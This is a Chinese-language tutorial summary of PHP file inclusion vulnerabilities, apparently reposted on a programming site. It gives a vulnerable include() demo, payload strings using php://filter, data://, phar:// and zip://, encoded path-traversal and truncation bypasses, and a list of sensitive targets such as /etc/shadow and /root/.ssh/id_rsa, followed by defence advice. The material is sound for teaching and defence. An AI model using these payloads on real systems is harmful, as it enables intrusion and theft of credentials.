文件包含FI漏洞总结

文件包含漏洞模板

文件包含读取
?file=php://filter/convert.base64-encode/resource=xxx.php
?file=php://filter/read=convert.base64-encode/resource=xxx.php
文件包含
?file=php://input
?file=file://c:\boot.ini
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
?file=phar://xxx.png/shell.php
?file=zip://xxx.png#shell.php

文件包含漏洞基础

include_demo.php:

<?php
echo "文件包含demo";
include($_REQUEST['file']);
?>

test.txt

下面有一个有效的php代码。
<?php
phpinfo();
?>

访问: http://主机名/include_demo.php?file=test.txt

文件包含开关

allow_url_fopen:打开远程文件

allow_url_include:包含远程文件用

文件包含相关函数有何区别?

require() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。 include() 如果出错的话,只会提出警告,会继续执行后续语句。

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含 过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等 问题。

文件包含漏洞

后端程序在包含文件的功能的时候,如果被包含的文件路径可被攻击者控制,导致攻击者提供的包含动 态脚本的文件被执行。

文件包含漏洞危害?

条件满足的情况下:

1.通过包含敏感路径文件,导致密码等信息泄露,如包含各类配置文件、数据库文件等

2. 通过包含含有php代码的文件,该漏洞导致代码执行

3. 同文件上传联用,导致getshell

4. 如果开启allow_url_include开关,还可包含攻击者远程服务器上自定义的php代码文件。

文件包含漏洞分类?

1. LFI(Local File Include),本地文件包含

2. RFI(Remote File Include),远程文件包含

文件包含漏洞原理

后端文件包含函数加载的参数没有经过过滤或者严格的限制,并且可以被用户控制用来包含其他恶意文 件,导致了执行非预期的代码。

如何发现文件包含漏洞?

1. 通过url发现可能存在文件包含的漏洞点,如:

?file=

?f=

?source=

?src= 下面有一个有效的php代码。

?path=

?inc=

?include=

?dest=

2. 代码审计发现

本地文件包含的利用姿势

1、利用session文件包含
2、利用log日志文件包含
3、结合文件上传包含
4、包含proc/self/environ中的user-agent头
5、包含ssh.log文件we
6、包含fd文件
7、利用竞争条件包含临时文件

利用条件

有潜在文件包含漏洞点

知道被包含文件路径

如果要getshell,还要被包含的文件内容可控

文件包含漏洞的利用步骤?

找到文件包含的功能点

构造被包含的文件及其内容(如上传、远程服务器提供文件=

文件包含漏洞利用绕过

  • NULL(%00)截断绕过(php)
  • TODO:超长字符绕过(Windows可在文件名后部添加点增加长度,linux必须在前面添加./增加长 度)?或#绕过(受php版本限制)
  • 利用php伪协议绕过
  • 利用smb绕过

伪协议的使用

php://filter

打开一个文件输入输出流进行读写,常结合base64编码读写不可直接读取的数据

php://filter/read/convert.base64-encode/resource=tmp.php
php://input

同样是打开文件输入输出流进行文件内容写入,一般都是通过POST请求方式写入文件内容

php://input

POST提交:php phpinfo();?>

data://

data协议同样是打开输入输出流,写入文件内容。使用data伪协议的时候,最好省略掉php语法中最后 的?>符

data://text/plain,?>

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==   (这里的base64编码省略了?>)

phar://

phar://主要适用于压缩包zip文件的读取,文件路径可用相对路径也可用绝对路径。利用条件:php版本 大于5.3.0

phar://../../phpinclude/phpinfo.zip/phpinfo.txt       (相对路径)

phar://c:/wamp/www/phpinclude/phpinfo.zip/phpinfo.txt (绝对路径)

zip://

用法同phar大致差不多,但只能使用绝对路径。利用条件:php版本大于5.3.0

zip://c:/wamp/www/phpinclude/phpinfo.zip%23phpinfo.txt (压缩包内路径需要用%23代替/)

文件包含的绕过方法

绕过前缀过滤

使用目录穿越../来绕过,../被过滤可通过编码变形绕过

1 ../的编码 - %2e%2e%2f - ..%2f - %2e%2e/ 
2 ..\的编码 - %2e%2e%5c - ..%5c - %2e%2e\ 
3.二次编码 - %252e%252e%252f(编码的../) - %252e%252e%255c(编码的..\) 
4.容器/服务器的目录穿越编码 - ..%c0%af(编码的../) 
5.java的目录穿越编码 - %c0%ae%c0%ae/(编码的../) 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCII字符的”.”(点)
6.Apache Tomcat 的目录穿越编码 - ..%c1%9c(编码的..\)
  • 绕过后缀过滤
  • 利用远程包含绕过
  • 利用url锚点绕过   http://xxx.com/shellaksdjfgaksdjfg252.phpxxx.jpg
  • 利用00截断绕过 (php < 5.3.4)
  • 利用操作系统长字符截断绕过(php < 5.2.9)
  • 利用phar或zip伪协议绕过

常见敏感文件

C:\boot.ini
C:\windows\System32\inetsrv\MetaBas.xml
C:\windows\repair\sam
C:\program Files\mysql\my.ini
C:\program Files\mysql\data\mysql\user.MYD
c\windows\php.ini
C\windows\my.ini
---------------------------------------------o----------------
linux特殊文件:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd*
/proc/mounts/porc/config.gz
/var/lib/mlocate/mlocate.db
locate mlocate.db www

文件包含漏洞如何防御或修复

在保证可用性和功能的前提下:

  • 过滤点号
  • 过滤斜杠
  • 升级中间件及动态脚本解析程序
  • 配置open_basedir的值,限定读写范围
  • 关闭allow_url_include
  • 对上传文件内容进行排查或进行转存,破坏上传文件中的恶意代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/844177.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

yolox-何为混合精度计算AMP?

何为AMP&#xff1f; 全称&#xff1a;Automatic mixed precision自动混合精度。 功能&#xff1a;在神经网络推理过程中&#xff0c;实现针对不同层采用不同的数据精度进行计算&#xff0c;从而实现节省显存和加速训练的目的。 此处提到的不同数据精度包括&#xff1a;32位浮…

【Golang】gin框架如何在中间件中捕获响应并修改后返回

【Golang】gin框架如何在中间件中捕获响应并修改后返回 本文讲述如何捕获中间件响应以及重写响应如果想在中间件中记录响应日志等操作&#xff0c;我们该如何获取响应数据呢&#xff1f;假如需要统一对响应数据做加密&#xff0c;如何修改这个返回数据再响应给客户端呢&#xf…

适合学生党的蓝牙耳机有哪些?盘点四大性价比蓝牙耳机品牌

对于追求高品质音乐体验而又预算有限的学生党来说&#xff0c;一款性价比高的蓝牙耳机无疑是最佳选择&#xff0c;在众多品牌和型号中&#xff0c;如何挑选到既适合自己需求又价格亲民的蓝牙耳机&#xff0c;确实是一个值得思考的问题&#xff0c;作为一个蓝牙耳机大户&#xf…

AI 绘图要如何入门?有哪些好用的软件推荐?(附工具+教程+变现模式)

1.Ai绘画如何入门 不需要把Ai绘画想的很复杂 抛去复杂的应用 使用现成简单的工具 只需要学会提示词 描述你想要的画面即可 提示词 不需要太复杂&#xff0c;也不能太简单&#xff0c;太简单依赖于ai的基本样式&#xff0c;关键是要抓住你想要的核心描述 AI不太擅长理解人类的…

leetcode 712.两个字符串的最小ASCII删除和

思路&#xff1a;LCS&#xff0c;dp 其实就是把dp的状态信息变了一下&#xff0c;但是本质上的状态转移其实是没有很大的变动&#xff0c;既然是让我们删除其他不一样的字符&#xff0c;那么保留下来的肯定就是两个字符串的最长公共子序列了。这样的我们就可以设状态方程为最长…

k8s笔记——GVK是什么

文章目录 k8s的GVK是什么查看资源的GVK查看pod查看service查看Deployment查看NameSpace查看Node 参考资料 k8s的GVK是什么 在 Kubernetes 中&#xff0c;GVK 是指 Group、Version 和 Kind 三个字段&#xff0c;用于唯一标识 Kubernetes 资源对象。 Group 指的是 Kubernetes A…

如何批量结构化分汇多工作表sheet?

目录 一、如遇合并表格&#xff0c;注意结构化二、确认主键&#xff0c;合并所有文件数据三、sheet2同理四、案例总结 如果遇到这样情形&#xff0c;多文件夹多文件&#xff0c;多工作表的分汇场景&#xff1b;可以参考以下方法解决。 一、如遇合并表格&#xff0c;注意结构…

脑机接口:是现代医学的外挂,更是瘫痪病人的豪赌

5 月 17 日&#xff0c;马斯克公开表示&#xff0c;继今年年初首次成功将大脑芯片植入患者大脑后&#xff0c;Neuralink 正在寻找第二位受试者接受这项手术。 5 月 20 日&#xff0c;美国食品药品监督管理局 (FDA) 批准了马斯克的 Neuralink 公司为第二位患者植入脑芯片&#…

Python图形界面(GUI)Tkinter笔记(十四):Entry与Button的碰撞(1)

用功能按钮(Button)、单行文本输入框(Entry)、文本框内容读取(get)实现一个极简易的加法运算,及与其他控件的交互,提高体验,主要体现其人机交互的意义。因为Entry()文本输入框没有限制输入内容属性的参数,它是把所有的输入都视作它特有的一个类属性,所以用get()方法读取出…

若依新增页面,在左侧显示菜单栏的页面,可点击

选择指定的某个目录下 菜单名称&#xff0c;路由地址&#xff0c;组件路径这几个是必填的&#xff0c;其他的暂时就不用管了。 菜单名称&#xff1a;就是显示到左侧目录中的名称。 路由地址&#xff1a;自定义&#xff0c;一般写页面名称就可以。 组件路径&#xff1a;根据前端…

PDF打印技巧:如何跳过不需要的页面?如何关闭打印权限?

作为打工人&#xff0c;经常需要打印各种文档&#xff0c;比如PDF文件。今天分享一下PDF文件的两个打印技巧&#xff0c;如果你还不知道&#xff0c;就一起来看看吧&#xff01; 技巧1&#xff1a;打印PDF如何跳过不需要的页面 有时候&#xff0c;一个PDF文件有很多页&#xf…

基于GIS地理信息技术的智慧巡检平台建设方案(Word原件)

传统的巡检采取人工记录的方式&#xff0c;该工作模式在生产中存在很大弊端&#xff0c;可能造成巡检不到位、操作失误、观察不仔细、历史问题难以追溯等现象&#xff0c;使得巡检数据不准确&#xff0c;设备故障隐患得不到及时发现和处理。因此建立一套完善的巡检管理系统是企…

DiffIR论文阅读笔记

ICCV2023的一篇用diffusion模型做Image Restoration的论文&#xff0c;一作是清华的教授&#xff0c;还在NIPS2023上一作发表了Hierarchical Integration Diffusion Model for Realistic Image Deblurring&#xff0c;作者里甚至有Luc Van Gool大佬。模型分三个部分&#xff0c…

ChatGPT实现法语口语练习APP

使用ChatGPT实现一个法语口语练习APP可以提供一个强大的工具&#xff0c;帮助学习者提高他们的口语能力。以下是一个详细的实现流程&#xff0c;包括需求分析、技术选型、开发、测试和部署。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢迎交流合…

VUE3 学习笔记(7):如何简单的理解VUE 组件,并手把手实现一个嵌套组件

基本概念 VUE 最大的特点就是组件化&#xff0c;理解组件化可视为积木模块&#xff0c;其特点就是增加了复用性。把一个个.vue文件就是组件&#xff08;又作SFC&#xff09;&#xff0c;组件的组合就是一个功能页。 组成部分说明 <!--内容控制&#xff08;必要&#xff09;…

Ubuntu 离线下载安装 Tmux(亲测有效)

昨晚跑NER模型中断了&#xff0c;今天就考虑安装下Tmux&#xff0c;但是一直安装不上&#xff0c;在尝试了好几次之后&#xff0c;终于不报错了&#xff01;&#xff01;特记录一下下载安装过程。&#xff08;我这里是离线下载安装的&#xff09; 1. 下载安装包 tmux wget ht…

微信小程序上架,AI类目审核(AI问答、AI绘画、AI换脸)

小程序对于生成式AI类目的产品上架审核较为严格&#xff0c;这也是近两年新增了几个类目&#xff0c;一旦小程序中涉及生成式AI相关的内容&#xff0c;如果你选择相应类目&#xff0c;但审核被划归为这一类&#xff0c;都需要准备此类目的审核&#xff0c;才能正常上架。 如果…

【杂记-浅谈DDos攻击、浅析SYN Flood攻击、Dos及DDos攻击区别】

一、DDos Distributed Denial of Service 分布式拒绝服务攻击 什么是DDos攻击 DDoS攻击是一种常见的网络攻击形&#xff0c;攻击者利用恶意程序对一个或多个目标发起攻击&#xff0c;企图通过大规模互联网流量耗尽攻击目标的网络资源&#xff0c;使目标系统无法进行网络连接、…

MT3049 区间按位与

思路&#xff1a; 使用ST表。ST表模板可参考MT3024 maxmin 注意点&#xff1a;此题范围较大&#xff0c;所以要避免超时。 ①使用 ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); 加快输入输出速度。 ②换行使用\n而不是endl 代码&#xff1a; 1.暴力6/8 #…

YOLOv10最详细全面讲解2- 目标检测-环境搭建、训练自己的数据集

YOLOv10没想到出来的如此之快&#xff0c;作为一名YOLO的爱好者&#xff0c;以YOLOv5和YOLOv8的经验&#xff0c;打算出一套从数据集装备->环境配置->训练->验证->目标追踪全系列教程。请大家多多点赞和收藏&#xff01;&#xff01;&#xff01; 系列文章&#xf…